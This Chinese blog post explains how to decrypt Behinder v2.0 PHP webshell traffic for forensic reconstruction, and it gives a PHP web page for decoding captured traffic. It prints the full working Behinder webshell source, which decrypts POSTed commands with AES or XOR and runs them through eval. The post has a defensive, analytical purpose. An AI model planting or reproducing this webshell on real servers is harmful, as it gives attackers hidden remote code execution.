冰蝎PHP码流量还原

2 篇文章 0 订阅
2 篇文章 0 订阅

0x01前言

之前打3ctf的时候看见了一道冰蝎流量还原的misc,之后觉得还挺有意思的,毕竟之前网站被种过马 ,弄出来之后搞个工具结合全流量设备或者wireshark的包来还原攻击者到底做了哪些动作,故有了此文。

0x02环境准备

phpstudy(注意在php环境中要开一下php_openssl,默认好像是没开的)
冰蝎v2.0

0x03过程

首先贴一下一般用的冰蝎的PHP码:

<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
}
?>

加密过程:
第一次(GET)请求生成16位的秘钥,第二次(POST)用秘钥对发送和接收的内容进行base64加密、AES加密(AES-128-CBC,OPENSSL_ZERO_PADDING)。
解密过程:
先用AES解密,再用base64解密。

解密脚本如下(我这个做的是网页版的,界面很友好!如果想简化可以只要<?php>标签内的内容,记得把网页传参的变量改成普通变量):

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>PHP冰蝎解码</title>
</head>
<body>
<?php
error_reporting(0);
function aes_decrypt($data,$key){
    return openssl_decrypt($data,'aes-128-cbc',$key,OPENSSL_ZERO_PADDING);
} 

$text=$_POST['text'];
$key=$_POST['key'];
#'dMbFVmyUlb8MNJR1iwAN6n0CrkPTl/pfedppzkLxWWzQvkhWqXgA6UMbiqkE0LNg';
#'d59042be6e437849';
#{"status":"c3VjY2Vzcw==","msg":"cEBzc3cwcmQ="}
$s=aes_decrypt($text,$key);

preg_match_all("/\'(.*?)\'/", $s,$content);
$s1=str_replace("'", "", $content[0][0]);

?>
<h1>冰蝎-PHP 流量解码</h1>
<form action="" method="post">
    <table >
        <tr>
            <td  align="center">密钥</td>
            <td><input type="text" name="key" maxlength="16" value="<?php if(!empty($key)){echo $key;}?>"></td>
        </tr>
        <tr>
            <td  align="center">密文</td>
            <td><textarea  name="text" style="height:100px;width:450px;" >
                <?php if(!empty($text)){echo $text;}?>
            </textarea> </td>
        </tr>
        <tr>
            <td> <input type="submit" value="提交"></td>
        </tr>
    </table>
</form>
<?php
print "解密后流量:<br>";
print $s;
print "<br><br>base64解码:<br>";
//print $s1;
//print base64_decode($s1);改成htmlentities的了,感谢大佬指点!
print htmlentities(base64_decode($s1));
?>
</body>
</html><br>

实现之后的效果如下:
请不起美工2333

0x04写在最后

冰蝎码的流量加密确实为后渗透提供了极大的便利,不过以后可能更进一步隐藏16位AES秘钥或者其他方式进行加密,本文只针对v2.0这个版的进行了解密,毕竟技术还比较菜。等有时间把jsp版的也做了!立个flag

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值